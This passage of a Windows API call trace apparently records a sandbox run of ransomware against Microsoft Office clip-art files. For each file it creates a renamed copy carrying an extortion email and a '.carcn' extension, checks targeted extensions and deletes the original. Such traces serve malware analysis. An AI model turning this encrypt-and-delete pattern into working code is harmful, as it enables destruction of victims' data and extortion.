GetLastError () returned 0x0 [0301.192] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xed4, lpOverlapped=0x0) returned 1 [0301.192] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xee0, lpOverlapped=0x0) returned 1 [0301.193] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.193] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.193] SetEndOfFile (hFile=0x350) returned 1 [0301.193] CloseHandle (hObject=0x350) returned 1 [0301.194] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.194] SetEndOfFile (hFile=0x368) returned 1 [0301.194] CloseHandle (hObject=0x368) returned 1 [0301.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0301.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0301.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0301.195] lstrlenW (lpString=".doc") returned 4 [0301.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.195] lstrlenW (lpString=".docx") returned 5 [0301.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.195] lstrlenW (lpString=".pdf") returned 4 [0301.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.195] lstrlenW (lpString=".xls") returned 4 [0301.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.195] lstrlenW (lpString=".xlsx") returned 5 [0301.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.196] lstrlenW (lpString=".ppt") returned 4 [0301.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0301.196] lstrlenW (lpString=".zip") returned 4 [0301.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.196] lstrlenW (lpString=".rar") returned 4 [0301.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.196] lstrlenW (lpString=".bz2") returned 4 [0301.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.196] lstrlenW (lpString=".7z") returned 3 [0301.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0301.196] lstrlenW (lpString=".dbf") returned 4 [0301.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0301.196] lstrlenW (lpString=".1cd") returned 4 [0301.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0301.196] lstrlenW (lpString=".jpg") returned 4 [0301.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.196] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.197] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.197] GetLastError () returned 0x0 [0301.197] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x7e8, lpOverlapped=0x0) returned 1 [0301.198] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x7f0, lpOverlapped=0x0) returned 1 [0301.199] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.199] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.199] SetEndOfFile (hFile=0x350) returned 1 [0301.199] CloseHandle (hObject=0x350) returned 1 [0301.199] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.199] SetEndOfFile (hFile=0x368) returned 1 [0301.200] CloseHandle (hObject=0x368) returned 1 [0301.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0301.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0301.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0301.201] lstrlenW (lpString=".doc") returned 4 [0301.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.201] lstrlenW (lpString=".docx") returned 5 [0301.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.201] lstrlenW (lpString=".pdf") returned 4 [0301.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.201] lstrlenW (lpString=".xls") returned 4 [0301.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.201] lstrlenW (lpString=".xlsx") returned 5 [0301.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.201] lstrlenW (lpString=".ppt") returned 4 [0301.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0301.201] lstrlenW (lpString=".zip") returned 4 [0301.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.201] lstrlenW (lpString=".rar") returned 4 [0301.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.201] lstrlenW (lpString=".bz2") returned 4 [0301.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.201] lstrlenW (lpString=".7z") returned 3 [0301.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0301.201] lstrlenW (lpString=".dbf") returned 4 [0301.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0301.201] lstrlenW (lpString=".1cd") returned 4 [0301.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0301.202] lstrlenW (lpString=".jpg") returned 4 [0301.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.202] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.202] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.202] GetLastError () returned 0x0 [0301.202] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x824, lpOverlapped=0x0) returned 1 [0301.203] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x830, lpOverlapped=0x0) returned 1 [0301.204] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.204] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.204] SetEndOfFile (hFile=0x350) returned 1 [0301.204] CloseHandle (hObject=0x350) returned 1 [0301.204] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.204] SetEndOfFile (hFile=0x368) returned 1 [0301.205] CloseHandle (hObject=0x368) returned 1 [0301.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0301.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0301.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0301.206] lstrlenW (lpString=".doc") returned 4 [0301.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.206] lstrlenW (lpString=".docx") returned 5 [0301.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.206] lstrlenW (lpString=".pdf") returned 4 [0301.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.206] lstrlenW (lpString=".xls") returned 4 [0301.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.206] lstrlenW (lpString=".xlsx") returned 5 [0301.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.206] lstrlenW (lpString=".ppt") returned 4 [0301.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0301.206] lstrlenW (lpString=".zip") returned 4 [0301.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.206] lstrlenW (lpString=".rar") returned 4 [0301.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.206] lstrlenW (lpString=".bz2") returned 4 [0301.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.206] lstrlenW (lpString=".7z") returned 3 [0301.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0301.206] lstrlenW (lpString=".dbf") returned 4 [0301.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0301.206] lstrlenW (lpString=".1cd") returned 4 [0301.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0301.206] lstrlenW (lpString=".jpg") returned 4 [0301.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.207] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.207] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.207] GetLastError () returned 0x0 [0301.207] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x5a8, lpOverlapped=0x0) returned 1 [0301.208] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x5b0, lpOverlapped=0x0) returned 1 [0301.209] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.209] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.209] SetEndOfFile (hFile=0x350) returned 1 [0301.209] CloseHandle (hObject=0x350) returned 1 [0301.209] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.209] SetEndOfFile (hFile=0x368) returned 1 [0301.210] CloseHandle (hObject=0x368) returned 1 [0301.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0301.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0301.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0301.568] lstrlenW (lpString=".doc") returned 4 [0301.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.568] lstrlenW (lpString=".docx") returned 5 [0301.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.568] lstrlenW (lpString=".pdf") returned 4 [0301.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.568] lstrlenW (lpString=".xls") returned 4 [0301.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.568] lstrlenW (lpString=".xlsx") returned 5 [0301.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.569] lstrlenW (lpString=".ppt") returned 4 [0301.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0301.569] lstrlenW (lpString=".zip") returned 4 [0301.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.569] lstrlenW (lpString=".rar") returned 4 [0301.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.569] lstrlenW (lpString=".bz2") returned 4 [0301.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.569] lstrlenW (lpString=".7z") returned 3 [0301.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0301.569] lstrlenW (lpString=".dbf") returned 4 [0301.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0301.569] lstrlenW (lpString=".1cd") returned 4 [0301.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0301.569] lstrlenW (lpString=".jpg") returned 4 [0301.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.570] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.570] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.570] GetLastError () returned 0x0 [0301.570] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3670, lpOverlapped=0x0) returned 1 [0301.571] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3680, lpOverlapped=0x0) returned 1 [0301.573] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.573] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.573] SetEndOfFile (hFile=0x390) returned 1 [0301.573] CloseHandle (hObject=0x390) returned 1 [0301.573] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.573] SetEndOfFile (hFile=0x368) returned 1 [0301.574] CloseHandle (hObject=0x368) returned 1 [0301.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0301.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0301.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0301.575] lstrlenW (lpString=".doc") returned 4 [0301.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.575] lstrlenW (lpString=".docx") returned 5 [0301.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.575] lstrlenW (lpString=".pdf") returned 4 [0301.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.575] lstrlenW (lpString=".xls") returned 4 [0301.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.575] lstrlenW (lpString=".xlsx") returned 5 [0301.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.575] lstrlenW (lpString=".ppt") returned 4 [0301.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0301.575] lstrlenW (lpString=".zip") returned 4 [0301.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.575] lstrlenW (lpString=".rar") returned 4 [0301.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.575] lstrlenW (lpString=".bz2") returned 4 [0301.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.575] lstrlenW (lpString=".7z") returned 3 [0301.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0301.576] lstrlenW (lpString=".dbf") returned 4 [0301.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0301.576] lstrlenW (lpString=".1cd") returned 4 [0301.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0301.576] lstrlenW (lpString=".jpg") returned 4 [0301.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.576] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.576] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.577] GetLastError () returned 0x0 [0301.577] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0301.578] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1b20, lpOverlapped=0x0) returned 1 [0301.579] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.579] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.579] SetEndOfFile (hFile=0x390) returned 1 [0301.579] CloseHandle (hObject=0x390) returned 1 [0301.579] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.579] SetEndOfFile (hFile=0x368) returned 1 [0301.580] CloseHandle (hObject=0x368) returned 1 [0301.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0301.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0301.581] lstrlenW (lpString="C:\\Program Files\\Microsoft 